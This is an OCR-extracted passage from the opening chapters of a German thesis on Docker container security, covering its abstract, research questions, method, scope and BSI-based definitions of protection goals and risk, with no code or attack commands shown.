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Kurzreferat

Die Digitalisierung ist eine der groBten Herausforderungen der Wirtschaft.
Eine Containervirtualisierung kann dabei vielversprechende Losungen bieten,
unterliegt jedoch ebenso Angriffen. Diese Arbeit zeigt am Beispiel von
Docker auf, mit welchen Angriffsvektoren auf eine Container-Infrastruktur
gewirkt und mit welchen SchutzmaBnahmen diese gehartet werden kann.
Die Untersuchungen stellen dar, wie schiitzenswerte Daten erbeutet, exogen
Einfluss auf die in Containern verarbeiteten Daten genommen und mit
Schadsoftware auf gesamte Infrastruktur gewirkt werden kann. Dabei werden
Host, Container und weitere Komponenten gleichermaBen beriicksichtigt. Die
Abhangigkeiten innerhalb von Containern werden zwar voneinander isoliert,
jedoch teilen sich Host und Container einen gemeinsamen Kernel. Aus
diesem Grund riicken Containerausbriiche und Kernelangriffe in den Fokus.
Fur den sicheren Einsatz von Containern konnen korrekte Konfigurationen
beziglich der Systemaufrufe, Capabilities, Kontrollgruppen, Namensraume
oder des Rootless Mode von entscheidender Bedeutung sein.

Abstract

Digitalisation is one of the biggest challenges facing the economy. Container
virtualisation can offer promising solutions, but is also subject to attacks.
Using Docker as an example, this thesis shows which attack vectors can be
used to affect a container infrastructure and which protective measures can
be used to harden it. The research show how data worth protecting can be
captured, how exogenous influence can be exerted on the data processed in

containers and how malware can be used to affect the entire infrastructure.

Host, container and other components are taken into account in equal
measure. The dependencies within containers are isolated from each other,
but host and container share a common kernel. For this reason, container
escapes and kernel attacks come into focus. Proper configurations regarding
system calls, capabilities, control groups, namespaces, or rootless mode can
be critical to the secure use of containers.
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1 Einfiihrung in die Forschungsarbeit

Die Digitalisierung ist eine der groBten Herausforderungen der Wirtschaft. Zahlreiche
Geschaftsprozesse werden zunehmend durch komplexe Anwendungen unterstitzt. Je
umfangreicher diese Prozesse sind, desto komplexer werden die Anforderungen an die
jeweilige IT-Infrastruktur und deren Anwendungen.

Gegenwartig eingesetzte Arten von IT-Infrastrukturen sind vielfaltig und meist heterogen
aufgebaut. Eine der altesten Standardkonzepte ist das Client-Server-Modell. Dabei stellt
ein Server bestimmte Dienste bereit, worauf die Clients zugreifen konnen [1].

Die IT-Infrastruktur eines Unternehmens besteht in der Regel nicht nur aus einem Server,
der eine Webseite bereitstellt. Fiir die interne und externe Kommunikation sind zahlreiche
Dienste wie Domain Controller (DC) und Virtual Private Network (VPN), aber auch
Virtual Local Area Network (VLAN) oder E-Mail-Server notwendig.

Mit der Zunahme an Systemressourcen werden Server und deren verschiedene Dienste
virtualisiert, um beispielsweise Rechenleistung und Speicher optimal auszunutzen und
Leitungsspitzen abzufangen. Dabei stellt der Hypervisor die benotigten Ressourcen fir
den Betrieb der virtuellen Instanzen zur Verfiigung. [2]

Der Aufwand zum Betrieb solcher IT-Infrastrukturen nimmt mit der Komplexitat der
darauf laufenden Anwendungen stark zu. Insbesondere bei der Skalierbarkeit, also der
Fahigkeit des IT-Systems oder Prozesses zur GroBenveranderung, unterliegt der Losungs-
ansatz mit einer Virtualisierung jedoch Einschrankungen.

Die Moglichkeiten der Containervirtualisierung bietet hierbei eine vielversprechende
Loésung der unterschiedlichen Limitierungen und verspricht zudem eine Verbesserung
der Sicherheit. Das Grundprinzip der Containervirtualisierung ist die Virtualisierung von
Anwendungen. Das Betriebssystem, bestehend aus Kernel und Treibern, wird von allen
virtualisierten Anwendungen gemeinsam genutzt, wodurch Ressourcen des Servers gespart
werden konnen (siehe Kapitel 2, Seite 10).

In dieser Arbeit wird die Container-Infrastruktur als Begriff definiert, der die Anwendung
von Containervirtualisierungen zur Umsetzung ganzer I T-Infrastrukturen beschreibt.

Eine Erhebung der d.velop AG im Jahr 2020 hat eine steigende Nachfrage nach der
Unterstiitzung von Linux und Docker ergeben (siehe Abb. 1.1, Seite 2). Dieser Trend ist
tendenziell in Verbindung mit einer gréBeren Kundschaft zu beobachten, die eigene Cloud-
Dienste aufbauen. Im Bereich des Enterprise Content Management (ECM) wird von einer



1.1 Problemstellung und Relevanz 1 Einfuhrung in die Forschungsarbeit

groBen Anzahl an Unternehmen bevorzugt eine Linux-Distribution als Betriebssystem fiir
Cloud-Anwendungen eingesetzt. Die Auslieferung von Images fiir Docker wird in dieser
Gruppe zunehmend gewiinscht. [3]

Virtualisierung 86,8 %
W im Einsatz
Linux-Server 40,2 % 53,0 % W kommt in Frage
B gewUnscht
Docker-Images 33,7 % 383 %

0% 20 % 40 % 60 % 80 % 100 %

Abb. 1.1 Verbreitung von Linux und Docker (Deutschland, 2020) [3] [,/ ]

Ergebung, d.velop AG, Jahr 2020: 86,8 % der Befragten nutzen Virtualisierungsumgebungen wie etwa
VMWare, 40,2 % betreiben Linux-Server, 33,7 % nutzen Linux-Docker-Images, fiir 53,0 % kommt die
Nutzung von Linux-Server in Frage und 38,3 % wiirden Docker nutzen. [3]

Am 11.10.2021 waren 8383967 Images iiber die Docker-Hub-Bibliothek! verfiigbar.
Weniger als 12 Stunden spéter waren es mit einem Plus von 2240 neuen oder aktualisierten
Veroffentlichungen bereits 8 386207 Images [4]. Diese Erhebungen machen die groBe
Bedeutung von Containervirtualisierungen und der entsprechenden SchutzmaBnahmen
deutlich. Die voranschreitende Digitalisierung kann zukiinftig mehr Einfluss denn je auf
die Verbreitung von Containern nehmen, da immer mehr IT-Systeme geschaffen und
integriert sowie Gerate vernetzt werden.

1.1 Problemstellung und Relevanz

Eine Container-Infrastruktur kann reaktionsschnell, ressourcenschonend, feingranular
skalierbar und nach der Einrichtung komfortabel verwaltbar sein. Bei Leistungsspitzen
bieten Orchestratoren (siehe Abschnitt 2.4, Seite 15) die Moglichkeit, automatisch
innerhalb von Sekunden neue Container zu starten, um die Verfiigbarkeit eines IT-Systems
dauerhaft aufrecht zu erhalten.

Am 04.10.2021 sorgte bei Facebook wahrend Wartungsarbeiten ein Konfigurationsfehler
fir massive Storungen. Die Nutzenden hatten zunachst keine Kenntnis tber diesen
Ausfall und versuchten vermehrt, eine Verbindung zu den Diensten aufzubauen. Das
wiederum hat innerhalb kurzer Zeit einen 30-fachen Anstieg von Anfragen gesorgt,
wodurch Uberlastungen der Server anderer Diensteanbietenden drohten. Vorausgesetzt,
es treten hierbei keine technischen Stoérungen auf, kénnen in solchen Szenarien diese
Anfragen durch automatische Instanziierung von Containern abgefangen werden. [5]

! https://hub.docker.com/search?type=image


https://hub.docker.com/search?type=image
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Mit Blick auf Safety? und Security® kénnten die Container zwar Sicherheitsgrenzen
darstellen (siehe Definition 10, Seite 12) und sich die Anwendungen darin eventuell besser
absichern lassen, sie sind jedoch unter Umstanden ebenso anfallig fiir Sicherheitsvorfalle
wie andere System. Es kann daher nicht automatisch davon ausgegangen werden, dass
Container als uniiberwindbare Hindernisse fiir Angreifende gelten.

In der Vergangenheit konnten Angriffe auf IT-Infrastrukturen zeigen, wie verwundbar die
Gesellschaft bezlglich IT-Systeme ist. Ein Cyberangriff auf Estland im Jahr 2007 legte
Banken, Behérden, Polizei und Regierung teilweise iiber mehrere Wochen lahm [7].

Die Lageprodukte des Bundeskriminalamt (BKA) zu Cybercrime in Deutschland machen
deutlich, dass Cyberangriffe zunehmen und dabei haufiger auch Wirtschaftsunternehmen,
offentliche Einrichtungen und Kritische Infrastrukturen (KRITIS)* im Fokus stehen [8].

Die Anzahl der aufgeklarten Falle im Bereich des Cybercrime blieb in den vergangenen
Jahren nahezu identisch, obwohl die erfassten Falle zunahmen. (siehe Abb. 1.2, Seite 3) [9].
Daraus wird die Hypothese abgeleitet, dass sich Angreifende in ihren Aktivitaten sicher
fihlen und sich dadurch deren Angriffsmotivation steigert.

120.000
100.000
80.000

60.000 W Erfasste Falle

B Aufgeklarte Falle
40.000

20.000

2016 2017 2018 2019 2020

Abb. 1.2 Erfasste und aufgeklarte Cybercrime-Falle (Deutschland, 2016-2020) [9] [VTZ]

Aufgrund coronabedingter Auswirkungen ab dem Jahr 2020 wurden durch die Wirtschaft
und Gesellschaft vermehrt digitale Angebote (iber das Internet genutzt. Dabei haben
Angreifende frith erkannt, dass die staatlichen HilfsmaBnahmen fiir die Gesellschaft
spezifische Angriffsmoglichkeiten fiir Cyberangriffe bieten. Die Bedrohungslage wird
vom BKA im jahrlichen Bundeslagebild Cybercrime 2020 [9] und der Sonderauswertung
Cybercrime in Zeiten der Corona-Pandemie [10] als andauernd hoch eingestuft. [9, 10]

2 |T-Sicherheit: ,Safety’ bedeutet vereinfacht ,Ausfallsicherheit’ (intendiert meist ,langlebig’). [6]

3 |T-Sicherheit: ,Security bedeutet vereinfacht ,Betriebssicherheit® (intendiert meist ,kurzlebig'). [6]

4 BSI-KritisV: Energie, Wasser, Ernahrung, Informationstechnik/Telekommunikation, Gesundheit,
Finanz-/Versicherungswesen und Transport/Verkehr; BKK: Staat, Verwaltung, Medien und Kultur.
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Im Zusammenhang mit KRITIS sind die Auswirkungen von einem Cyberangriff gravierend.
In Krankenhausern missen kranke Menschen versorgt, auf StraBen und Schienen hunderte
Ziige koordiniert und im europaischen Verbundnetz die Nennfrequenz des Stromnetzes auf
konstant 50 Hz gehalten werden. Die SicherheitsmaBnahmen bei Absinken der Frequenz
in den Bereich der Unterfrequenz ab 47,5 Hz sehen vor, dass automatisch alle Kraftwerke
vom Stromnetz zu trennen sind. Diese Beispiele stellen Prozesse dar, bei denen IT-Systeme
beteiligt sind. Werden Einrichtungen mit lebenserhaltenden Funktionen angegriffen und
gestort, konnen Menschen sterben oder aufgrund von Fehlmedikationen dauerhafte
gesundheitliche Schaden entstehen.

Problemstellung. Fiir eine Verarbeitung und Speicherung von Gesundheitsdaten sollen
in einem zu entwickelnden IT-System verschiedene Analyseskripte zum Einsatz kommen.
Um dafiir eine sichere Umgebung zu schaffen, ist eine Container-Infrastruktur vorgesehen,
die Vorteile von Virtuellen Maschinen und Containern kombiniert.

Einzelne Instanzen von Containern sollen definierte Zugriffe auf Datenquellen erhalten.
Die konkreten Quellen und Schnittstellen der Datenherkunft sind derzeit noch unbekannt.
Die Verarbeitungsergebnisse der Analyseskripte kdnnten in Datenbanken innerhalb oder
auBerhalb anderer Container gespeichert werden und sollen unabhangig vom Zustand
der Container in jedem Fall, selbst wenn ein Container geloscht wird, erhalten bleiben.

Wird eine Container-Infrastruktur den KRITIS zugeordnet, so ergibt sich fiir diese ein
sehr hoher Schutzbedarf (siehe Absatz 2.1, Seite 11), um Stérungen der Verfigbarkeit,
Integritat und Vertraulichkeit zu vermeiden. Das kann beispielsweise sicherheitsrelevante
Systeme oder Verschlusssachen von Behorden betreffen.

Relevanz. Die gesundheitsbezogenen Daten in einer Containervirtualisierung miissen
vor Angriffen und deren Auswirkungen geschiitzt werden. Dafiir sind Untersuchungen
zu Angriffsvektoren und eine Ausarbeitung moglicher SchutzmaBnahmen durchzufiihren,
damit das IT-System einem sehr hohen Schutzbedarf gerecht werden kann. Die Ergebnisse
der Untersuchungen kdénnen in der Konzeptionierung von neuen IT-Systemen oder der
Erstellung von Sicherheitskonzepten beriicksichtigt werden.

Fir die Untersuchungen wird eine Freie Software des gleichnamigen Unternehmens
Docker auf Grundlage einer Linux-Distribution als Betriebssystem zum Einsatz kommen.
Bei den zu verarbeitenden Daten wird von Patientendaten aus dem Gesundheitswesen
ausgegangen. Die Motivation fiir Angriffe auf eine IT-Infrastruktur, die schitzenswerte
Daten verarbeitet, wird als hoch (nicht quantifizierbar) eingeschatzt. Eine frithzeitige
Implementierung notwendiger SchutzmaBnahmen kann nachtragliche Anderungskosten
vermeiden oder reduzieren und die Sicherheit signifikant erhohen.



1.2 Fragestellungen und Annahmen 1 Einfuhrung in die Forschungsarbeit

1.2 Fragestellungen und Annahmen

Die Ergebnisse dieser Arbeit sollen als Argumentationshilfe bei der Konzeptionierung
von Containern-Infrastrukturen dienen und konnen eine Anforderungsanalyse bei der
Entwicklung notwendiger SchutzmaBnahmen gegen Angriffsvektoren erleichtern.

Fragestellungen. Gegenstand dieser Forschungsarbeit ist das Thema:

» Untersuchung potenzieller Angriffsvektoren auf Container-Infrastrukturen
und méglicher SchutzmaBnahmen unter Nutzung von Docker”.

Beziiglich der vorangegangenen Problemstellung ergeben sich folgende Fragestellungen:

1. Welche potenziellen Angriffsvektoren auf Container-Infrastrukturen gibt es, um
mit kompromittierter Software die schiitzenswerten Daten preiszugeben? Welche
moglichen SchutzmaBnahmen gegen diese Angriffsvektoren gibt es?

2. Welche potenziellen Angriffsvektoren auf Container-Infrastrukturen gibt es, um
exogen Einfluss auf die in Container verwendeten Daten zu nehmen? Welche
moglichen SchutzmaBnahmen gegen diese Angriffsvektoren gibt es?

3. Welche potenziellen Angriffsvektoren auf Container-Infrastrukturen gibt es, um mit
Schadsoftware im Container auf die restliche IT-Infrastruktur zu wirken? Welche
moglichen SchutzmaBnahmen gegen diese Angriffsvektoren gibt es?

Das forensische Interesse an der Untersuchung potenzieller Angriffsvektoren ergibt sich
aus der Identifizierung solcher Bereiche, in denen Angreifende dauerhafte oder fliichtige
Spuren hinterlassen konnten. Aus diesen Ergebnissen lassen sich moglicherweise effektive
SchutzmaBnahmen ableiten. Nach einem Angriff kann bei der Spurensicherung die
Priorisierung von fliichtigen Spuren eine entscheidende Bedeutung erlangen, wenn sich
diese im Arbeitsspeicher oder rotierenden Protokollen befinden, die nach einer bestimmten
Zeit entfernt oder lberschrieben werden.

Annahmen. Mit dieser Arbeit wird eine Auswahl potenzieller Angriffsvektoren und
SchutzmaBnahmen untersucht. Die Wahrscheinlichkeit fiir einen erfolgreichen Cyberangriff
auf ein IT-System ist umso hoher, je mehr potenziell ausnutzbare Angriffsvektoren den
Angreifenden bekannt und je weniger SchutzmaBnahme effektiv umgesetzt sind.

Zum Zeitpunkt der Untersuchungen existiert eine nicht quantifizierbare Menge an
unbekannten Sicherheitsliicken (Zero-Day-Exploits), die zu einem spateren Zeitpunkt
wahrscheinlich entdeckt werden. Durch Softwareaktualisierungen oder Konfigurationsan-
derungen konnen neue unbekannte oder bekannte Sicherheitsliicken entstehen.
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1.3 Literaturarbeit und Quellen

Im Rahmen der Literaturarbeit konnten zu Beginn der Forschungsarbeit wenige Publi-
kationen gefunden werden, die Begriffe wie beispielsweise Docker oder Docker und
Sicherheit beinhalteten [11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21]. Zudem lagen Biicher
zu Themen wie Containern-Infrastrukturen oder speziell auch zu Docker vor [22, 23]. Im
Surface Web waren Internetquellen mit entsprechenden Bezug zum Thema verfiigbar.

Videoportale im Internet bieten in Tutorials zu verschiedenen Techniken aktuelle Erkennt-
nissen zu themenbezogenen Inhalten. Die Inhalte dieser Videos lassen sich in eigenen
Untersuchungen nachvollziehen.

Eine wesentliche Grundlage, besonders fiir eine anfangliche Recherche im Rahmen dieser
Arbeit, lieferte das Buch mit dem Titel Container Security des Autors Rice [22]. Das
Buch mit dem Titel Advanced Infrastructure Penetration Testing des Autors Chebbi [23]
beinhaltet jeweils ein Kapitel zu Themen wie Advanced Linux Exploitation, Docker
Exploitation oder Exploiting Git and Continuous Integration Servers. Diese Inhalte
konnten in dieser Arbeit aufgrund des Umfangs nicht mehr beriicksichtigt werden.

Die Auflistung des Forschungsstandes sowie der in dieser Arbeit verwendeten Quellen
konnen nicht als abschlieBend betrachtet werden. Beispielsweise gibt es zahlreiche
Quellen zu allgemeine Themen wie das Eindringen in IT-Systeme oder zum Harten von
Betriebssystemen. Es ist denkbar, dass weitere Literatur an Relevanz gewinnt, wenn eine
Vertiefung in die Funktionsweise bestimmter Angriffsvektoren stattfindet.

1.4 Methodenauswahl und Abgrenzung

Es sind unterschiedliche Szenarien denkbar, die nicht getrennt voneinander betrachtet
werden konnen, ohne dass sich Angriffsvektoren duplizieren. Das Ziel ist eine Methode
zum modularen Betrachten der potenziellen Angriffsvektoren zu finden.

Methodenauswahl. Fiir die Beantwortung der Fragestellungen dieser Arbeit kommen
Literaturrecherchen und Untersuchungen zu potenziellen Angriffsvektoren zum Einsatz.
Die Ergebnisse stellen keine vollstandige Sammlung dar und dienen als Einblick in bekannte
Moglichkeiten, wie Angreifende auf Containern-Infrastrukturen wirken kénnen.
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Die frei verfligbare Literatur bildet die Forschungsgrundlage dieser Arbeit. Fiir die Litera-
turrecherchen werden offene Quellen im Internet und digitale Bibliotheken herangezogen,
die im Literaturverzeichnis (siehe Abschnitt 9, Seite 121) eingesehen werden kénnen. Es
findet eine kritische Auseinandersetzung mit den vorgestellten Ansatzen in der Literatur
oder ein Vergleich mit anderen Quellen statt.

Die Untersuchungen werden in einer Testumgebung (siehe Anhang C, Seite C-78) durch-
gefiihrt, die aus Virtuellen Maschinen (VM) mit Linux-Distributionen als Betriebssystem
besteht. Es werden sowohl Angriffsvektoren mit Schwerpunkt auf die Containervirtua-
lisierungssoftware selbst, wie auch Netzwerkanbindungen und Hostcomputer (Host)
beriicksichtigt. Die Untersuchungen sind breit angelegt, um eine moglichst groBe Band-
breite von Angriffsvektoren zu identifizieren sowie geeignete SchutzmaBnahmen finden
und beschreiben zu kénnen.

Die Inhalte dieser Arbeit setzen ein grundlegendes Verstandnis iiber die Bereiche der
Betriebssysteme, Netzwerktechnik, IT-Sicherheit und Cyberangriffe voraus. Notwendiges
Hintergrundwissen dazu ist in den jeweiligen Kapiteln aufgefiihrt. Es wurden iiberwiegend
deutschsprachige und geschlechtsneutrale Begriffe verwendet. An Stellen, wo das nicht
eindeutig moglich war, wurden die etablierten englischsprachigen Begriffe verwendet.

Abgrenzung. Fiir die Untersuchung von Angriffsvektoren werden ausschlieBlich Linux-
Distributionen einbezogen. Andere Betriebssysteme wie Windows von Microsoft oder
macOS von Apple werden nicht beriicksichtigt.

Es wird keine Studie iiber die Haufigkeiten bestimmter Angriffsvektoren durchgefiihrt.
Eine Forschung nach bislang unbekannten Sicherheitsliicken (Zero-Day-Exploits) kann mit
den vorhandenen Ressourcen und aufgrund der hohen Komplexitat nicht stattfinden.

Informationsquellen im Dark Web werden in der Recherche nicht beriicksichtigt. Ein
Zugriff auf Informationen zu aktuelle Sicherheitsliicken oder Zero-Day-Exploits ist in
diesen Quellen meist nur durch personliche Einladung moglich oder (ber illegale und
kostenpflichtige Angebote zuganglich [9]. Erst wenn Sicherheitsforschende das Wissen
Uber neue Sicherheitsliicken verdffentlichen, kénnen diese im Rahmen einer Arbeit wie
der vorliegenden berticksichtigt werden.

Es konnen keine allgemeingiiltigen Empfehlungen vorgeschlagen werden, da die Anforde-
rungen, Konfigurationen und Sicherheitsanforderungen von IT-Systemen teils erheblich
voneinander abweichen. Diese sollten daher individuell betrachtet und im Rahmen ei-
nes Risikomanagements abgewogen werden. Die Untersuchungen von Angriffsvektoren
mit moglichen SchutzmaBnahmen konnen als erste Orientierung fiir die Erstellung von
IT-Sicherheitskonzepten und als Grundlage fiir weitere Untersuchungen dienen.
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1.5 Aufbau der Forschungsarbeit

Die Arbeit gliedert sich in vier Kapitel.

Im Kapitel Einfiihrung in die Forschungsarbeit (siehe Kapitel 1, Seite 1) wird zum
Thema hingefiihrt, die Fragestellungen formuliert, der Forschungsstand erlautert und die
Forschungsmethode sowie der Aufbau dieser Forschungsarbeit beschrieben.

Im Kapitel Grundlagen fir die Untersuchungen (siehe Kapitel 2, Seite 10) werden Begriffe
und Prinzipien definiert, die Funktionsweise der Containervirtualisierung vorgestellt sowie
in die Themen der Cyberangriffe, Schadsoftware und rechtlichen Grundlagen eingefiihrt.

Im Kapitel Angriffsvektoren und SchutzmaBnahmen (siehe Kapitel 3, Seite 29) werden
ausgewahlte Angriffsvektoren sowie mogliche SchutzmaBnahmen dargestellt, die fiir diese
Forschungsarbeit untersucht wurden.

Im Kapitel Zusammenfassung (siehe Kapitel 4, Seite 73) werden die Ergebnisse der Unter-
suchungen aufgegriffen und in einer Diskussion analysiert und interpretiert. Dabei werden
die Fragestellungen beantwortet und die wesentlichen Aussagen kritisch eingeschatzt.

Nummerierungen und Struktur. Neben einer klassischen Nummerierung fiir Kapitel,
Abschnitte und Unterabschnitte kommt zusatzlich ein Struktur-Element zum Einsatz,
das alle Definitionen, Angriffsvektoren und SchutzmaBnahmen fortlaufend nummeriert
und in einem Struktur-Verzeichnis (siehe Seite viii) aufgenommen.

Definition 1 — Beispiel fiir die Nummerierung einer Definition: Die Definitionen

werden (ber alle Kapitel mit einem eigenen Zahler von 1 bis n fortlaufend nummeriert.

Definition 2 — Beispiel fiir die Bedeutung einer Definition: Definitionen beschrei-
ben Begriffe oder fassen technische Grundlagen fiir darauffolgende Vektoren zusammen.

Vektor 1 — Beispiel fiir ein Angriffsvektor: Die Angriffsvektoren werden Ulber alle

Kapitel mit einem eigenen Zahler von 1 bis n fortlaufend nummeriert. Ein Vektor fihrt
in die grundlegende Funktionsweise des jeweiligen Angriffsvektoren ein.

Schutz 1.1 — Beispiel fiir eine SchutzmaBnahme: Die SchutzmaBnahmen beziehen
sich auf den jeweils vorhergehenden Angriffsvektor und werden mit einer zusatzlichen

Nummerierungsebene gezahlt.

Bemerkung 1.1 — Beispiel einer Bemerkung: Die Bemerkungen beziehen sich auf
Definitionen oder Vektoren zur Darstellung weiterfiihrender Informationen.
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Spezielle Formatierungen. Diese Arbeit liegt in den drei verschiedenen Versionen

Digitalnavigation, Digitalstandard und Druckstandard vor (siehe Impressum, Seite ii).
Die Digitalversionen sind als interaktive digitale Dokumente konzipiert und enthalten

umfangreiche Verlinkungen sowie ein

PDF-Inhaltsverzeichnis.

Uberblick alle Verzeichnisse und Aufbau der Forschungsarbeit:

= [Titelseite, Schmutztitel]

= [Impressum, Kurzreferat]

= [Inhalt]

= [Abbildungen und Tabellen]
= [Auflistungen]

= [Struktur]

» [Abkiirzungen]

»  [Kapitel 1, 2, 3, 4]
= [Anhang]
= [Glossar]

= [Literatur]

Funktionalitdten und Formatierungen

= Hyperlinkfabe ist HSMW-blau

= Text mit verlinkten Referenzen,

= Text mit verlinkten FuBnoten,

= Text mit verlinkten Abkiirzungen,

»  Text mit verlinkten Begriffen,

Deckblatter

Vorspann

Verzeichnisse, Kapitel, Abschnitte, Anhange
Abbildungen, Tabellen

Quelltexte, Skripte, Konsolenausgaben
Definitionen, Angriffsvektoren, SchutzmaBnahmen
Bezeichnungen, Langformen

Textteile

Anhange

Begriffe

Quellen

der vorliegenden Version®:

z.B. Abb. 2.6 (Link zur Darstellung)
z.B. .2 (Link zur FuBnote)
z.B. VM (Link zum Abk.-Verz.)
z. B. Angriffsvektor  (Link zum Glossar)

» Befehlszeilen oder Begriffe mit Symbole fiir Leerzeichen

» Befehlszeilen oder Begriffe mit schwacher Hervorhebung

» Befehlszeilen oder Begriffe mit ~ dezenter Hervorhebung

» Befehlszeilen oder Begriffe mit intensiver Hervorhebung

= Wechsel zum Verzeichnis,

= Wechsel zum Vektor,

»  Wechsel zum Anhang,

»  Wechsel zum Text,

= Wechsel zum Quelldokument,
siehe Literatur, Seite 121:

.B. Tab. ... [\} ] (Link zu Tabellen)
.B. Vektor [] ] ... (Link zu Vektor 1)
B Aufl. ... [Aefl D) (Link zu Aufl. D.1)
BoAufl [ 5] (Link zu Aufl. 3.1)
.B. [24] ... Datei: bib/... (Link zu pdf-Datei)

N N N N N

[24] [...] Datei: bib/Vorlesung HS Mittweida_Kirsten Docker_Intro.pdf
Um ein Quelldokument aufrufen zu kénnen, muss das Verzeichnis bib/ vorliegen.

® Vorliegende Version: Digitalnavigation, ein

seitig, ohne Leerseiten, spezielle Hyperlinks zum Navigieren.


bib/Vorlesung_HS_Mittweida_Kirsten_Docker_Intro.pdf

2 Grundlagen fiir die Untersuchungen

In diesem Kapitel werden wesentliche Begrifflichkeiten fiir diese Arbeit definiert, etablierte
Prinzipien erlautert, die Funktionsweise der Containervirtualisierung vorgestellt sowie in
die Themen der Cyberangriffe, Schadsoftware und rechtlichen Grundlagen eingefiihrt.

2.1 Grundwerte und Schutzbedarfsfeststellung

Das Bundesamt fiir Sicherheit in der Informationstechnik (BSI) mit Sitz in Bonn ist
eine deutsche Bundesoberbehorde, deren Aufgabenbereich durch das Gesetz iiber das
Bundesamt fiir Sicherheit in der Informationstechnik (BSI-Gesetz) [25] festgelegt wird.
Ziel ist die praventive Forderung des sicheren Einsatzes von Informations- und Kommuni-
kationstechnik fir Staat, Wirtschaft und Gesellschaft. [26]

Grundwerte. Das BSI nennt Vertraulichkeit, Integritat und Verfligbarkeit als Grundwer-
te zur Schutzbedarfsfeststellung fiir ein IT-System. Dabei wird nach dem Schaden gefragt
der ,entstehen kann, wenn fiir ein Zielobjekt die Grundwerte verletzt werden". [27]

Definition 1 [] ] ] — Verletzung der Vertraulichkeit:
Verletzung der Vertraulichkeit liegt vor, wenn ,vertrauliche Informationen unberechtigt

zur Kenntnis genommen oder weitergegeben werden". [27]

Definition 2 [] 7 | ] — Verletzung der Integritit:
Verletzung der Integritat liegt vor, wenn , die Korrektheit der Informationen und der

Funktionsweise von Systemen nicht mehr gegeben ist”. [27]

Definition 3 [] || ] — Verletzung der Verfiigbarkeit:
Verletzung der Verfligbarkeit liegt vor, wenn ,autorisierte Benutzer am Zugriff auf
Informationen und Systeme behindert werden". [27]

Wird eines der Grundwerte verletzt, droht ein Schaden fiir das zu schiitzende Objekt.
Der Schutzbedarf orientiert sich dabei am jeweiligen AusmaB der Verletzung. [27]

In diesem Zusammenhang wird auch von den Anglizismen IT-Schutzziele, Schutzziele
der Informationssicherheit oder CIA-Schutzziele (engl. CIA Triad) gesprochen. Die
Abkiirzung CIA steht dabei fiir Confidentiality (Vertraulichkeit), Integrity (Integritat) und
Availability (Verfligbarkeit). Zudem werden oft auch weitere Grundwerte wie Authentizitat,
Nichtabstreitbarkeit, Privatsphéare oder Zurechenbarkeit genannt. [28]
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Schutzbedarf. Die Hohe des Schutzbedarfs lasst sich vor einer Verletzung nicht immer
genau bestimmen. Daher sollten fiir den jeweiligen Anwendungszweck eine bestimmte
Menge an Kategorien definiert werden, um den Schutzbedarf unterscheiden zu konnen.
Das BSI empfiehlt mit der IT-Grundschutz-Methodik drei Schutzbedarfskategorien [27]:

Definition 4 []? | ] — Schutzbedarf normal:
Der Schaden wirkt sich begrenzt aus und ist iberschaubar.

Definition 5 [] ¢ )] — Schutzbedarf hoch:
Der Schaden wirkt sich betrachtlich aus.

Definition 6 [| [ | ] — Schutzbedarf sehr hoch:
Der Schaden wirkt sich existentiell bedrohlich aus und kann ein katastrophales AusmaB

erreichen.

2.2 Risiko, Bedrohung und Schadensminderung

In dieser Arbeit wird zwischen Risiko und Bedrohung unterschieden. Zudem werden
MaBnahmen zur Schadensminderung aufgezeigt.

Definition 7 [} ¢ | ] — Risiko:

Ein Risiko ist ein potenzielles Problem sowie dessen Auswirkungen, wenn es auftritt.
Beispielsweise kann sich durch Social Engineering (Aufbauen und Ausnutzen sozialer
Beziehungen) ein Zugang zu Wohnungen verschafft und Datentrager erbeutet werden. [22]

Definition 8 [] 7| ] — Bedrohung:
Eine Bedrohung ist ein potenzieller Weg zum Eintreten eines Risikos. Beispielsweise kann
eine Anbahnung mittels Social-Engineering (iber soziale Netzwerke, Veranstaltungen oder
Firmenfeiern stattfinden. Nachdem das Vertrauen gewonnen wurde, kann je nach Art
der Beziehung ein Besuch in der Wohnung oder im Biiro einer Person stattfinden, die
an einem |T-System arbeitet und Zugang oder Zugriff auf Hardware oder Software hat,

oder (liber andere potenziell relevante Informationen verfiigt. [22]

Definition 9 [} '’ | ] — Schadensminderung:

Eine Schadensminderung ist eine potenzielle GegenmaBnahme zur Verhinderung oder Ver-
ringerung der Auswirkungen gegen eine Bedrohung. Beispielsweise konnen Schulungen und
SensibilisierungsmaBnahmen des Personals dazu beitragen, dass mégliche Gefahren eher
erkannt werden und sich eine Akzeptanz zur Einhaltung von IT-Sicherheitsvorschriften

entwickelt. Mobile Datentrager kdnnten verschliisselt und ein Vier-Augen-Prinzip fur
sicherheitsrelevante Schnittstellen angewendet werden. [22]
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Risikovariation. Je nach Organisation, IT-System und Land kdnnen die Risiken dabei
stark variieren. Bei Eintreten eines I T-Sicherheitsvorfalls ist das Risiko meist rufschadigend.
Zudem sieht in Europa die General Data Protection Regulation (GDPR) auch BuBgelder
in Hohe von bis zu 4 % des Unternehmensumsatzes vor (Art. 83 Abs. 5 DSGVO) [29].

Da die Risiken unterschiedlich sein kénnen, variiert auch die relative Gewichtung der
Bedrohungen, ebenso wie die Anzahl an geeigneten MaBnahmen zur Schadensminderung.
Die Risiken fir ein IT-System sollten daher individuell erfasst, mogliche Bedrohung
dokumentiert, die Gewichtung priorisiert sowie SchadenminderungsmaBnahmen definiert
und ein Prozess zur konkreten verbindlichen Umsetzung etabliert werden. [22]

2.3 Sicherheitsgrenzen und Sicherheitsprinzipien

Grundsatzlich lassen sich Sicherheitsgrenzen (siehe Absatz 2.3, Seite 12) auf vielfaltige
Art und Weise umsetzen, wofiir die Sicherheitsprinzipien (siehe Absatz 2.3, Seite 12)
hilfreich sein kénnen.

Sicherheitsgrenzen. Der Autor Rice beschreibt in Container Security [22] die Sicher-
heitsprinzipien des Geringsten Privilegs, der Verteidigung in der Tiefe, zum Reduzieren
der Angriffsfliche, zum Begrenzen des Explosionsradius sowie zur Aufgabentrennung.
Aus diesen Prinzipien leitet Rice die Sicherheitsgrenzen ab (siehe Definition 10, Seite 12)
und wendet diese auf die Containervirtualisierung an.

Definition 10 [] '' | ] — Sicherheitsgrenzen:

Komplexe I T-Systeme bestehen meist aus mehreren Komponenten. Durch die Separierung
dieser konnen beispielsweise durch die Erkennung der Ausnutzung von Sicherheitsliicken
potenzielle Angriffe friihzeitig sichtbar sowie unschadlich gemacht und so die Schaden
begrenzt werden. Die Berechtigungen der Komponenten sollten so konfiguriert sein, dass
die verantwortliche Person fiir eine Ressource lediglich auf diese selbst und gegebenenfalls
